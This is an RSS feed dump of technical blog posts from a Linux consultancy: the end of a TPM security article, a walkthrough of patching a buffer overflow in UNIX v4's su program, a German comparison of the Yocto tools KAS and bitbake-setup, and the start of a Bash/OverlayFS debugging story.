It is common knowledge now that delivering security updates is crucial to keeping devices secure over their whole lifetime. It is important to remember that TPM chips also contain firmware that needs to be updated. On a regular PC, this is handled through UEFI or Windows. However, on an embedded device, it is the responsibility of the producer to keep the TPM firmware up to date. This is critical, especially when a vulnerability like TPM-FAIL (CVE-2019-16863) occurs, as it requires the ability to update your TPM to patch the flaw.

Summary

A TPM chip can help to implement state-of-the-art security mechanisms, but it’s not a silver bullet that will make things inherently secure. To utilize a TPM correctly, it is crucial to have a well-defined threat model. This model must clearly specify the role of the TPM and the kind of attacks it is intended to protect against. Especially when used on an embedded system, the lack of human interaction must be considered when designing protection against certain threats.

---

1. https://trustedcomputinggroup.org/resource/tpm-library-specification/ ↩︎

2. A TPM has a small amount of internal non-volatile storage, but this is primarily used for persistent objects like the Endorsement Key (EK) and the Storage Root Key (SRK). Due to its limited size, it is not used for general secret storage. ↩︎

3. The TPM 2.0 specification requires a minimum of 24 PCRs. PCRs 0-15 are defined as static and are typically reset upon a TPM restart. PCRs 16-23 are dynamic and may have a different reset behavior based on their purpose. For measured boot only PCRs 0-15 are commonly used. ↩︎

4. https://www.youtube.com/watch?app=desktop&v=eJihjE1zb1M ↩︎

5. https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/, https://github.com/nccgroup/TPMGenie ↩︎

6. https://cybersecurity.bureauveritas.com/blog/tpm-sniffing-attacks-against-non-bitlocker-targets ↩︎

7. https://fosdem.org/2025/schedule/event/fosdem-2025-4827-recent-tpm-security-enhancements-to-the-linux-kernel/ ↩︎

8. https://docs.kernel.org/security/tpm/tpm-security.html ↩︎

9. https://en.wikipedia.org/wiki/ISO/IEC_19790 ↩︎

10. https://blog.cr.yp.to/20171105-infineon.html ↩︎

11. https://tpm.fail/tpmfail.pdf ↩︎

12. https://arxiv.org/abs/2304.14717 ↩︎

13. https://github.com/OP-TEE/optee_ftpm ↩︎

14. https://link.springer.com/article/10.1007/s11416-021-00413-y ↩︎

]]>https://sigma-star.at/blog/2025/12/unix-v4-buffer-overflow/Wed, 31 Dec 2025 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2025/12/unix-v4-buffer-overflow/Fixing a Buffer Overflow in UNIX v4 Like It’s 1973

Introduction

In 2025, the only known copy of UNIX v4 surfaced on a magnetic tape¹. This version marks a pivotal moment in computer history: the rewriting of UNIX into C. Enthusiasts quickly recovered the data and successfully ran the system on a PDP-11 simulator².

Fascinated by this artifact, I set up an instance to explore it. Because the distribution includes the source code, I examined the implementation of several core utilities. While auditing the su(1) program, I identified a bug. Let’s fix it.

]]>Fixing a Buffer Overflow in UNIX v4 Like It’s 1973

Introduction

In 2025, the only known copy of UNIX v4 surfaced on a magnetic tape¹. This version marks a pivotal moment in computer history: the rewriting of UNIX into C. Enthusiasts quickly recovered the data and successfully ran the system on a PDP-11 simulator².

Fascinated by this artifact, I set up an instance to explore it. Because the distribution includes the source code, I examined the implementation of several core utilities. While auditing the su(1) program, I identified a bug. Let’s fix it.

The UNIX v4 su(1) program

Although more than 50 years old, the su program functions similarly to its modern variant. As a setuid-root executable, it validates the root password. If the user provides the correct credentials, the program spawns a root shell, allowing an unprivileged user to escalate privileges.

The source file, su.c, contains fewer than 50 lines of code.

/* su -- become super-user */

char    password[100];
char    pwbuf[100];
int     ttybuf[3];
main()
{
        register char *p, *q;
        extern fin;

        if(getpw(0, pwbuf))
                goto badpw;
        (&fin)[1] = 0;
        p = pwbuf;
        while(*p != ':')
                if(*p++ == '\0')
                        goto badpw;
        if(*++p == ':')
                goto ok;
        gtty(0, ttybuf);
        ttybuf[2] =& ~010;
        stty(0, ttybuf);
        printf("password: ");
        q = password;
        while((*q = getchar()) != '\n')
                if(*q++ == '\0')
                        return;
        *q = '\0';
        ttybuf[2] =| 010;
        stty(0, ttybuf);
        printf("\n");
        q = crypt(password);
        while(*q++ == *p++);
        if(*--q == '\0' && *--p == ':')
                goto ok;
        goto error;

badpw:
        printf("bad password file\n");
ok:
        setuid(0);
        execl("/bin/sh", "-", 0);
        printf("cannot execute shell\n");
error:
        printf("sorry\n");
}

In short, the program executes the following steps:

1. It calls getpw() to retrieve the passwd entry for the root user (UID 0) from /etc/passwd. Surprisingly, if the read fails or the line format is incorrect, su continues execution rather than aborting. While unusual, this likely acts as a safeguard to ensure su remains usable on a partially corrupted system. This is a security issue on its own because an unprivileged user could consume enough resources to make the getpw() call fail. Ron Natalie pointed³ out that this attack vector was known at the time.
2. It disables the TTY echo mode and prompts the user for a password.
3. It reads byte-by-byte from the TTY into a buffer until it encounters a newline or NUL character, NUL causes the program to exit immediately.
4. Once reading is complete, it re-enables echo mode, hashes the input using the crypt() library function, and compares the result with the stored hash.
5. If the hashes match, it spawns a shell, otherwise, it terminates.

The logic is standard, except for one critical flaw: the password buffer has a fixed size of 100 bytes, yet the input loop lacks a bounds check. If a user enters more than 100 characters, a buffer overflow occurs.

I confirmed this behavior by testing with a long input string, which successfully crashed the program. Not all long strings trigger a core dump. The outcome depends on which area of adjacent memory is overwritten, sometimes, su simply exits.

# su
password:<long input>Memory fault -- Core dumped

Note: Because su disables TTY echo mode, a crash prevents the terminal from displaying subsequent input. To restore visibility, type stty echo blindly and press Enter.

Fixing su(1)

UNIX traditionally includes the source code necessary for self-recompilation, and v4 is no exception. This allows us to patch and compile su directly on the system. In 1973, editor options were sparse. Neither vi nor emacs had been invented yet. However, the system provides ed, a line-oriented text editor designed for teletype terminals where output was printed on paper rather than displayed on a screen. ed allows us to list, delete, and append lines, which is sufficient for our needs.

We will edit su.c to prevent the overflow by maintaining a counter, i, and verifying it against the buffer size during the read loop. I initially attempted a fix using pointer arithmetic, but the 1973 C compiler didn’t like it, while it didn’t refuse the syntax, the code had no effect. I settled on a simpler index-based check instead.

--- a/s2/su.c
+++ b/s2/su.c
@@ -7,6 +7,7 @@ main()
 {
        register char *p, *q;
        extern fin;
+       register int i;
 
        if(getpw(0, pwbuf))
                goto badpw;
@@ -22,9 +23,13 @@ main()
        stty(0, ttybuf);
        printf("password: ");
        q = password;
-       while((*q = getchar()) != '\n')
+       i = 0;
+       while((*q = getchar()) != '\n') {
+               if (++i >= sizeof(password))
+                       goto error;
                if(*q++ == '\0')
                        return;
+       }
        *q = '\0';
        ttybuf[2] =| 010;
        stty(0, ttybuf);

# chdir /usr/source/s2
# ed su.c

Upon launch, ed outputs the file size in bytes and awaits input. The command i inserts text before the current line, d deletes the line, and p prints it. Entering a number moves the focus to that specific line, while pressing Return prints the current line’s content.

Below is a screen recording of the editing session:

741
8
        register char *p, *q;

        extern fin;
i
        register int i;
.
24
        printf("password: ");

        q = password;
i
        i = 0;
.
p
        i = 0;

        while((*q = getchar()) != '\n')
d
i
        while((*q = getchar()) != '\n') {
.

                if(*q++ == '\0')
i
                if (++i >= sizeof(password))
                        goto error;
.

                if(*q++ == '\0')

                        return;

        *q = '\0';
i
        }
.
w
811
q

First, we jump to line 8 and press Return several times to locate a suitable spot for the variable declaration. We use i to enter insert mode, add the variable, and then type a single period (.) on a new line to exit insert mode. The critical change occurs around the while loop: we initialize i and add a boundary check to the loop condition. Finally, w writes the modified buffer to disk, confirming the file has grown by a few bytes, and q terminates the editor.

Building and Deploying

With the source code patched, we must rebuild the binary. Since su consists of a single C file, the compilation process is trivial:

# cc su.c

The compiler outputs a binary named a.out. To deploy it, we move the file to /bin/su:

# mv a.out /bin/su

However, the installation is incomplete. Because su requires root privileges to function, we must set the setuid bit and adjust the file permissions:

# ls -l /bin/su
-rwxrwxrwx 1 root     2740 Jun 12 19:58 /bin/su
# chmod 4755 /bin/su
# ls -l /bin/su
-rwsr-xr-x 1 root     2740 Jun 12 19:58 /bin/su

Summary

UNIX v4 is a fascinating gem of computer history. It feels surprisingly similar to our current systems. While it lacks modern conveniences, the fundamental logic remains recognizable to anyone with modern UNIX experience.

The ability to fix su so quickly highlights the power of the early UNIX philosophy: shipping the operating system with its full source code and a C compiler. We patched, compiled, and deployed the fix directly on the system, no external toolchains required.

Finally, this bug reminds us of the era’s different priorities. In the trusted, isolated environments of 1973, security was not the critical concern it is today. Furthermore, the knowledge that a buffer overflow could be exploited for arbitrary code execution had not yet come of age.

As an exercise for the reader to improve their ed skills, try adding the code to restore TTY echo mode to the overflow detection logic. This ensures the terminal functions correctly even after the program catches the error.

---

1. https://discuss.systems/@ricci/115747843169814700 ↩︎

2. http://squoze.net/UNIX/v4/README ↩︎

3. https://www.tuhs.org/pipermail/tuhs/2026-January/032991.html ↩︎

]]>https://sigma-star.at/de/blog/2025/10/die-sich-wandelnde-landschaft-des-yocto-projekt-setups-bitbake-setup-vs.-kas/Tue, 28 Oct 2025 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/de/blog/2025/10/die-sich-wandelnde-landschaft-des-yocto-projekt-setups-bitbake-setup-vs.-kas/Offenlegung: Als langjähriger Nutzer von KAS und Contributor sind meine persönlichen Ansichten hier naturgemäß nicht neutral. Die technischen Fakten habe ich aber so korrekt und objektiv wie möglich gehalten.

Die sich wandelnde Landschaft des Yocto-Projekt-Setups: bitbake-setup vs. KAS

Wer schon einmal mit Yocto eine eigene Linux-Distribution erstellt hat, dem ist vermutlich aufgefallen, dass das Yocto-Projekt selbst keine standardisierte Methode für den allerersten Schritt bietet: alle benötigten Layer zu holen und die initiale Build-Konfiguration anzulegen. Seit 2017 füllt das Tool KAS diese Lücke. Heute, im Jahr 2025, hat KAS eine beachtliche Nutzerbasis und eine lebendige Community. Dennoch ist es weder offizieller Bestandteil des Yocto-Projekts noch das offiziell empfohlene Tool für das Projekt-Setup. Seit 2024 entwickelt das Yocto-Projekt ein eigenes Tool: bitbake-setup. Jetzt, Ende 2025, nimmt dieses neue Tool Gestalt an.

]]>Offenlegung: Als langjähriger Nutzer von KAS und Contributor sind meine persönlichen Ansichten hier naturgemäß nicht neutral. Die technischen Fakten habe ich aber so korrekt und objektiv wie möglich gehalten.

Die sich wandelnde Landschaft des Yocto-Projekt-Setups: bitbake-setup vs. KAS

Wer schon einmal mit Yocto eine eigene Linux-Distribution erstellt hat, dem ist vermutlich aufgefallen, dass das Yocto-Projekt selbst keine standardisierte Methode für den allerersten Schritt bietet: alle benötigten Layer zu holen und die initiale Build-Konfiguration anzulegen. Seit 2017 füllt das Tool KAS diese Lücke. Heute, im Jahr 2025, hat KAS eine beachtliche Nutzerbasis und eine lebendige Community. Dennoch ist es weder offizieller Bestandteil des Yocto-Projekts noch das offiziell empfohlene Tool für das Projekt-Setup. Seit 2024 entwickelt das Yocto-Projekt ein eigenes Tool: bitbake-setup. Jetzt, Ende 2025, nimmt dieses neue Tool Gestalt an.

Als Linux-Berater erhalten wir häufig Fragen von Kunden zum Status und zur zukünftigen Richtung des Yocto-Projekt-Setups. Besonders seit bitbake-setup verfügbar ist, werden wir gefragt, was aus KAS wird, was von bitbake-setup zu erwarten ist und so weiter. Dieser Blogbeitrag fasst die aktuelle Situation zusammen und klärt die wichtigsten Unterschiede und Konsequenzen beim Einsatz von KAS gegenüber bitbake-setup.

KAS: Ursprünge und ein kurzer Überblick

Vor dem Aufkommen von KAS¹ (bairisch für Käse) verwalteten Yocto-Nutzer ihre Layer-Abhängigkeiten typischerweise entweder mit git submodules oder mit dem Tool repo². Dieser Ansatz stützte sich oft auf eine Sammlung von Shell-Skripten, um grundlegende Konfigurationsdateien wie bblayers.conf und local.conf zu erzeugen. Dieser Prozess war häufig umständlich und sehr fehleranfällig.

Ingenieure bei Siemens erkannten diese fehlende Standardisierung als Risiko für die Qualität ihrer Build-Infrastruktur und suchten nach einer Lösung. Aus dieser Arbeit entstanden die ersten Konzepte hinter KAS. Das Kernprinzip von KAS ist, ein Yocto-Projekt in einer YAML-Konfigurationsdatei zu beschreiben, um deterministische Builds zu ermöglichen. Das Ziel ist einfach: Egal wo der Build läuft, das Ergebnis soll identisch sein. KAS kontrolliert die Build-Umgebung sorgfältig und stellt sicher, dass keine Umgebungsvariablen des Host-Systems in den Build gelangen, sofern sie nicht explizit in der KAS-Konfigurationsdatei angegeben sind. Entscheidend ist: KAS arbeitet als externes Tool mit Yocto zusammen. Es verpackt den Standard-Yocto-Prozess in eine deterministische Umgebung und erzeugt alle nötigen Konfigurationsdateien, aber Yocto muss von KAS nichts wissen.

Zusätzlich zur Kernfunktionalität bietet KAS ein Wrapper-Skript, kas-container, mit dem Entwickler das gesamte Projekt-Setup und den Build in einem Container mit Docker oder Podman ausführen können. Diese Containerisierung bietet eine hervorragende Isolation vom Host-System. Standardmäßig verwendet der KAS-Build-Container eine minimale Debian-Linux-Installation, in der nur die vom Yocto-Projekt zwingend benötigten Host-Abhängigkeiten installiert sind. So läuft jeder Build in einer vollständig deterministischen Umgebung, was das Versprechen reproduzierbarer Ergebnisse von KAS weiter stärkt.

Hier ein Beispiel einer typischen KAS-Konfigurationsdatei:

header:
  version: 14
machine: raspberrypi5
distro: poky
target: core-image-minimal
repos:
  poky:
    url: "https://git.yoctoproject.org/git/poky"
    commit: d0b46a6624ec9c61c47270745dd0b2d5abbe6ac1 # walnascar-5.2.4
    layers:
      meta:
      meta-poky:
      meta-yocto-bsp:
  meta-raspberry:
    url: "https://git.yoctoproject.org/meta-raspberrypi"
    commit: 5c540d5447fba8b652c8778af30e605242df650c # walnascar as of 23.10.2025
local_conf_header:
  sstate-cdn: |
     BB_HASHSERVE_UPSTREAM = 'wss://hashserv.yoctoproject.org/ws'
     SSTATE_MIRRORS ?= "file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH"
  rpi: |
     EXTRA_IMAGE_FEATURES = "ssh-server-openssh"
     LICENSE_FLAGS_ACCEPTED = "synaptics-killswitch"
     INHERIT += "rm_work"

Diese Datei beschreibt:

• Welche Repositories (Layer) geholt werden und welcher exakte git-Commit zu verwenden ist.
• Die Standardwerte für Machine, Distro und Ziel-Image des Builds.
• Zusätzliche Variablen, die an die erzeugte local.conf angehängt werden.

Um das Projekt zu bauen, führen Sie den Befehl kas build rpi.yml aus. Soll der gesamte Prozess für maximale Host-Isolation in einem Container laufen, verwenden Sie den Wrapper: kas-container build rpi.yml.

Beim Ausführen von KAS passiert Folgendes:

• Alle aufgeführten Repositories werden ausgecheckt.
• Die Datei bblayers.conf wird erzeugt.
• Die Datei local.conf wird erzeugt.
• Der eigentliche Build-Befehl wird ausgeführt, hier bitbake -c build core-image-minimal.

Bei Verwendung von kas-container läuft KAS vollständig im Container. Das Host-System benötigt nur das Shell-Skript kas-container und entweder Docker oder Podman.

Über Projekt-Setup und Build hinaus bietet KAS diverse weitere Unterbefehle, die die Yocto-Entwicklung erleichtern. Die wichtigsten sind:

• shell: Öffnet eine Shell in der bereinigten Build-Umgebung, nützlich zum Debuggen oder für eigene bitbake-Befehle.
• menu: Bietet eine interaktive Oberfläche, um das Projekt zu konfigurieren und Build-Variablen zu setzen.
• diff: Vergleicht zwei KAS-Konfigurationsdateien und zeigt das git-Log jedes referenzierten Repositories.
• lock: Dient der Absicherung der Lieferkette, vergleichbar mit dem Lock-File-Mechanismus von Go, Cargo oder Node.js.

Mehr Details zu KAS finden Sie in der Dokumentation oder in diesem Vortrag von Jan Kiszka.

bitbake-setup: Die offizielle Lösung des Yocto-Projekts

Obwohl KAS permissiv unter der MIT-Lizenz steht und seine Entwickler wiederholt ihre Bereitschaft erklärt haben, KAS eng in das Yocto-Projekt zu integrieren, kam es nie dazu.^{3 4} Yocto-Entwickler vertraten früh die Position, dass ein Setup-Tool wie KAS ein integrierter Bestandteil von bitbake sein sollte und kein eigenständiges Projekt. Ein Argument für ein solches Tool als Teil von bitbake ist, dass sich der Fetch-Code von bitbake wiederverwenden lässt, statt wie KAS derzeit git-Befehle direkt auszuführen. Diese Position führte direkt zur Entwicklung von bitbake-setup.

Wie der Name vermuten lässt, liegt bitbake-setup direkt im bitbake-Repository. Der allererste Schritt, um ein Yocto-System mit diesem Tool aufzusetzen und zu bauen, ist daher das Klonen des bitbake-git-Repositories selbst.

Ein typischer bitbake-setup-Workflow sieht so aus:

• git clone -b master-next https://git.openembedded.org/bitbake
• bitbake/bin/bitbake-setup init rpi.conf.json
• . /path/to/your/builddir/init-build-env
• bitbake core-image-minimal

Lässt man beim Aufruf von bitbake-setup init den Parameter weg, verwendet das Tool eine Standardkonfiguration. Typischerweise übergeben Sie aber den Namen, einen Pfad oder eine URL zu Ihrer Konfiguration.

Hier ein Beispiel einer einfachen JSON-Konfigurationsdatei für bitbake-setup:

{
  "description": "Raspberry Pi base config",
  "sources": {
    "bitbake": {
      "git-remote": {
        "remotes": {
          "origin": {
            "uri": "git://git.openembedded.org/bitbake"
          }
        },
        "rev": "master"
      },
      "path": "bitbake"
    },
    "openembedded-core": {
      "git-remote": {
        "remotes": {
          "origin": {
            "uri": "git://git.openembedded.org/openembedded-core"
          }
        },
        "rev": "master"
      },
      "path": "openembedded-core"
    },
    "meta-yocto": {
      "git-remote": {
        "remotes": {
          "origin": {
            "uri": "git://git.yoctoproject.org/meta-yocto"
          }
        },
        "rev": "master"
      },
      "path": "meta-yocto"
    },
    "meta-raspberrypi": {
      "git-remote": {
        "remotes": {
          "origin": {
            "uri": "git://git.yoctoproject.org/meta-raspberrypi"
          }
        },
        "rev": "master"
      },
      "path": "meta-raspberrypi"
    }
  },
  "bitbake-setup": {
    "configurations": [
      {
        "name": "poky",
        "description": "Poky reference distro build",
        "bb-layers": [
          "openembedded-core/meta",
          "meta-yocto/meta-yocto-bsp",
          "meta-yocto/meta-poky",
          "meta-raspberrypi"
        ],
        "oe-fragments": [
          "core/yocto/sstate-mirror-cdn"
        ],
        "oe-fragments-one-of": {
          "machine": {
            "description": "Available target machines",
            "options": [
              "machine/raspberrypi4",
              "machine/raspberrypi4-64",
              "machine/raspberrypi5"
            ]
          },
          "distro": {
            "description": "Available distributions",
            "options": [
              "distro/poky",
              "distro/poky-tiny"
            ]
          }
        }
      }
    ]
  },
  "version": "1.0"
}

Die Konfigurationsdatei definiert die zentralen Projektparameter, vor allem:

• Welche Repositories (Layer) geholt werden.
• Die verfügbaren Konfigurationen, hier Distributionen (DISTRO) und Machines (MACHINE).

Wie der Befehl kas menu kann bitbake-setup den Nutzer nach Konfigurationsentscheidungen fragen. Es bietet zum Beispiel, je nach geladener Konfiguration, mehrere Optionen für die gewünschte Machine und Distribution an. Die Benutzeroberfläche unterscheidet sich jedoch: KAS verwendet ein Kconfig-Menü als Text User Interface (TUI), bitbake-setup stellt Fragen und liest die Eingaben direkt über die Konsole ein.

Beispielausgabe von bitbake-setup beim Stellen der Fragen:

Selecting the only available bitbake configuration poky

Available target machines:
0. machine/raspberrypi4
1. machine/raspberrypi4-64
2. machine/raspberrypi5

Please select one of the above options by its number:
2

Available distributions:
0. distro/poky
1. distro/poky-tiny

Please select one of the above options by its number:
0

bitbake-setup verwaltet ein Top-Level-Verzeichnis, standardmäßig ~/bitbake-builds/. Dieses Verzeichnis enthält gemeinsam genutzte Ressourcen, darunter einen Download-Ordner, globale Einstellungen, Build-Konfigurationen und die initialisierten Yocto-Projekte. Wenn Sie mehrere Projekte mit bitbake-setup aufsetzen, teilen sie sich automatisch den Download-Ordner, weil bitbake-setup die Variable DL_DIR vorkonfiguriert. Außerdem nutzt bitbake-setup eine Registry zum Ablegen von Build-Konfigurationen. Die Standard-Registry liegt im bitbake-Repository, Sie können aber eine eigene definieren.

Um zum Beispiel eine neue Standard-Registry zu setzen, führen Sie bitbake-setup settings set default registry /path/to/my/bbregistry aus.

Nachdem Sie Ihre *.conf.json-Dateien in /path/to/my/bbregistry/configurations/ abgelegt haben, erkennen Befehle wie bitbake-setup list und bitbake-setup init diese.

$ bitbake-setup list
Loading settings from
    /home/bobthebuilder/bitbake-builds/settings.conf

Bitbake-setup is using /home/bobthebuilder/bitbake-builds as top directory ("bitbake-setup settings --help" shows how to change it).


Available configurations:
rpi     Raspberry Pi base config
base    A Yocto base configuration with options
xxx     Just testing

Run 'init' with one of the above configuration identifiers to set up a build.

Übergeben Sie bitbake-setup init also einen Konfigurationsnamen statt eines Dateinamens oder einer URL, sucht es die Konfiguration in der Registry.

Die Eingliederung von bitbake-setup in das bitbake-Repository hat erhebliche Auswirkungen darauf, wie Yocto-Projekte geholt werden. Zur Erinnerung: Das Poky-Repository diente traditionell als offizielles Referenzsystem und bündelte drei Kernkomponenten: bitbake, meta-yocto und openembedded-core. Da bitbake-setup verlangt, zuerst das eigenständige bitbake-Repository zu klonen, verliert das monolithische Poky-Repository seine historische Rolle. Nutzer können openembedded-core und meta-yocto nun einzeln neben bitbake holen. Folglich wird das Poky-Repository für zukünftige Yocto-Releases keine Updates mehr erhalten, Nutzern wird geraten, die Repositories einzeln zu holen.

Wie sich diese Änderung auf ein KAS-basiertes Projekt anwenden lässt, zeigt diese Änderung: https://github.com/mendersoftware/meta-mender-community/commit/f82d2d4a9ebc79ac3e88e6388609e4ec8e49a7e6.

Mehr Details zu bitbake-setup finden Sie in diesen zwei Vorträgen von Alexander Kanavin.

bitbake-setup und KAS im Vergleich

Der Vergleich dieser beiden Tools ist komplexer, als man zunächst erwarten würde. KAS und bitbake-setup haben unterschiedliche Ursprünge. KAS kommt im Grunde von Nutzern für Nutzer, während bitbake-setup die Perspektive der Yocto-Entwickler widerspiegelt. Die Yocto-Entwickler nutzten dieses Tool als Gelegenheit, lange aufgeschobene Aufgaben umzusetzen: das Entflechten des Poky-Repositories, die Einführung von Konfigurations-Fragmenten und ein Setup-Tool, das eng mit bitbake gekoppelt ist.

Ein zentraler technischer Unterschied zu KAS ist, dass bitbake-setup JSON als Konfigurationsformat verwendet, nicht YAML. JSON ist als Serialisierungsformat hervorragend, bringt aber für von Menschen editierte Konfigurationsdateien zwei wesentliche Einschränkungen mit:

• JSON unterstützt keine Kommentare, was die Dokumentation erschwert.
• Es erlaubt keine nachgestellten Kommata, was bei manuellen Änderungen zu Parser-Fehlern führen kann.

Wir bei der sigma star gmbh halten JSON daher für weniger geeignet für nutzerseitige Konfigurationsdateien.

Ein weiterer Unterschied in der Philosophie ist der Umgang mit der Datei local.conf. KAS befüllt die local.conf automatisch anhand der Einstellungen aus seiner YAML-Konfiguration. bitbake-setup befüllt Ihre local.conf nicht automatisch. Die Begründung: local.conf soll nur nutzerspezifische Einstellungen und Overrides enthalten und nicht mit automatisch erzeugtem Inhalt verunreinigt werden.

Das obige KAS-Beispiel würde etwa eine local.conf wie diese ergeben:

# rpi
EXTRA_IMAGE_FEATURES = "ssh-server-openssh"
LICENSE_FLAGS_ACCEPTED = "synaptics-killswitch"
INHERIT += "rm_work"

# sstate-cdn
BB_HASHSERVE_UPSTREAM = 'wss://hashserv.yoctoproject.org/ws'
SSTATE_MIRRORS ?= "file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH"

MACHINE ??= "raspberrypi5"
DISTRO ??= "poky"
BBMULTICONFIG ?= ""

Im Gegensatz dazu die von bitbake-setup erzeugte local.conf:

#
# This file is intended for local configuration tweaks.
#
# If you would like to publish and share changes made to this file,
# it is recommended to put them into a distro config, or to create
# layer fragments from changes made here.
#

Da bitbake-setup zwar die Auswahl von Distribution und Machine erlaubt, aber die local.conf nicht befüllt, haben die Yocto-Entwickler ein generischeres Konzept eingeführt: Layer-Fragmente. Layer-Fragmente sind Dateien, die Variablen und ihre zugehörigen Werte enthalten. Sie wählen diese Dateien beim Projekt-Setup aus, und das System fügt ihren Inhalt direkt in den globalen Variablenbereich ein. Die Fragment-Auswahl nutzt die neue Datei toolcfg.conf und die Variable OE_FRAGMENTS. In unserem Beispiel zieht das System etwa immer core/yocto/sstate-mirror-cdn.conf heran, je nach Auswahl des Nutzers zusätzlich distro/poky.conf plus machine/raspberrypi5.conf.

toolcfg.conf:

OE_FRAGMENTS += "core/yocto/sstate-mirror-cdn distro/poky machine/raspberrypi5"

Auch die Konfiguration weiterer Einstellungen, etwa des Pfads zum Download-Verzeichnis (DL_DIR), unterscheidet sich. KAS setzt DL_DIR als Umgebungsvariable und fügt sie zu BB_ENV_PASSTHROUGH_ADDITIONS hinzu, sodass bitbake den DL_DIR-Wert aus der Umgebung übernimmt. bitbake-setup hingegen injiziert die Variable DL_DIR direkt in den Parser-Cache des bitbake-Codes.

Wie erwähnt verwenden bitbake-setup und KAS unterschiedliche Konfigurationsformate. Sie gehen mit diesen Konfigurationen auch unterschiedlich um. bitbake-setup verwendet strikt eine einzige Konfigurationsdatei. KAS bietet dagegen Mechanismen, um mehrere Konfigurationsdateien einzubinden oder zu schichten. Das geht entweder über die Eigenschaft includes in einer Konfigurationsdatei oder direkt auf der Kommandozeile, z. B. kas build rpi.yml:sigmastar-settings.yml. Diese Schichtung ist nützlich, um große, komplexe Build-Konfigurationen zu pflegen, bei denen verschiedene Yocto-Setups viele Einstellungen teilen. Sie erlaubt auch das Überschreiben einzelner Werte, etwa kundenspezifischer Einstellungen (z. B. URLs interner git-Repositories). Bei der sigma star gmbh nutzen wir diesen Mechanismus häufig, um kundenspezifische Einstellungen zu überschreiben, etwa URLs interner git-Repositories. Das ist zum Beispiel nötig, wenn kein direkter Zugriff auf das interne Netzwerk eines Kunden besteht und wir einen Mirror seiner git-Repos pflegen müssen. Für neugierige Leser: Dieses git-Repository zeigt eine nicht triviale KAS-Konfiguration, wie sie bei Siemens im Einsatz ist: https://github.com/siemens/meta-iot2050/.

Ein weiterer entscheidender Unterschied zu KAS ist, dass bitbake-setup keinerlei Host-Isolation vornimmt. Es checkt Quellen aus und konfiguriert Yocto, überlässt es aber dem Nutzer, die Build-Umgebung einzubinden und den gewünschten bitbake-Befehl auszuführen. Das Yocto-Projekt hat seine Widerstandsfähigkeit gegen Host-Kontamination in den letzten Jahren zwar deutlich verbessert, Probleme können aber weiterhin auftreten. Für Projekte, bei denen Reproduzierbarkeit Priorität hat, bleibt eine günstige containerbasierte Isolation ein wertvoller Schutz. Wir erwarten allerdings, dass Unterstützung für containerisierte Builds, wie sie kas-container bietet, irgendwann kommt. Priorität scheint das jedoch nicht zu haben⁵.

Und schließlich: Da sich bitbake-setup in einem frühen Entwicklungsstadium befindet, fehlt derzeit eine robuste Fehlerbehandlung. Bei Fehlern, etwa semantisch falschen Konfigurationen oder nicht erreichbaren Netzwerkressourcen, können Nutzer auf unbehandelte Python-Exceptions stoßen. Ich bin aber optimistisch, dass sich das in naher Zukunft bessert.

Zusammenfassung

Im Kern teilen bitbake-setup und KAS viele Funktionen, gehen sie aber unterschiedlich an. Der größte Unterschied ist, dass bitbake-setup tief in Yocto integriert ist, KAS dagegen nicht. bitbake-setup steckt noch in einem frühen Entwicklungsstadium, weitere Funktionen und Änderungen sind also zu erwarten. Wir gehen davon aus, dass bitbake-setup in den kommenden Jahren eine beträchtliche Nutzerbasis gewinnt, besonders sobald es in den offiziellen Yocto-Materialien dokumentiert ist. Stand heute ist KAS ausgereifter und funktionsreicher als bitbake-setup, daher werden wir KAS weiterhin allen unseren Kunden empfehlen. KAS bleibt funktionsfähig, egal in welche Richtung sich bitbake-setup entwickelt, weil es keine Anpassungen in Yocto benötigt.

Wir glauben, dass KAS und bitbake-setup voneinander profitieren können. Ein denkbares Szenario ist, dass bitbake-setup als Plugin aus KAS heraus nutzbar wird, um alle Layer zu holen und einzurichten, während KAS den Build des Projekts mit nur einem Befehl und einer einfachen Konfigurationsdatei ermöglicht. Wir erwarten außerdem, dass KAS früher oder später Layer-Fragmente nutzen wird.

Aus Sicht der Nutzer wirkt das leider wie eine verpasste Chance zur Zusammenarbeit. Hoffentlich werden auf lange Sicht sowohl die Hintergründe als auch der beiderseitige Nutzen sichtbar.

---

1. https://kas.readthedocs.io ↩︎

2. https://gerrit.googlesource.com/git-repo/ ↩︎

3. https://lists.openembedded.org/g/openembedded-architecture/message/1915 ↩︎

4. https://lists.yoctoproject.org/g/yocto/message/65298 ↩︎

5. bitbake-setup-configurations/README.md ↩︎

]]>https://sigma-star.at/blog/2025/06/deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise/Tue, 24 Jun 2025 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2025/06/deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise/Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise

This blog post recounts a recent debugging session that uncovered a surprising set of issues involving Bash, getcwd()¹, and OverlayFS². What began as a simple customer bug report evolved into a deep dive worth sharing.

Initial Bug Report

A customer reported that OpenSSH scp³ failed after switching to OverlayFS. We found the following error in the logs:

shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Inappropriate ioctl for device

After analyzing the report, we realized the message didn’t come from scp itself but from the Bash shell. We asked the key question: why couldn’t Bash determine the current working directory, and why did it fail with ENOTTY (Inappropriate ioctl for device)?

]]>Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise

This blog post recounts a recent debugging session that uncovered a surprising set of issues involving Bash, getcwd()¹, and OverlayFS². What began as a simple customer bug report evolved into a deep dive worth sharing.

Initial Bug Report

A customer reported that OpenSSH scp³ failed after switching to OverlayFS. We found the following error in the logs:

shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Inappropriate ioctl for device

After analyzing the report, we realized the message didn’t come from scp itself but from the Bash shell. We asked the key question: why couldn’t Bash determine the current working directory, and why did it fail with ENOTTY (Inappropriate ioctl for device)?

Ruling Out the Kernel

Because the issue appeared after the introduction of OverlayFS, we reviewed the OverlayFS source code in the Linux kernel for any code paths that return ENOTTY. Although such paths exist, we considered hitting them highly unlikely.

Bash uses glibc and is written in C. We examined the glibc system call wrapper for getcwd() but found no logic that could return ENOTTY. The wrapper mainly handles buffer allocation and falls back to a generic implementation if the system call fails.

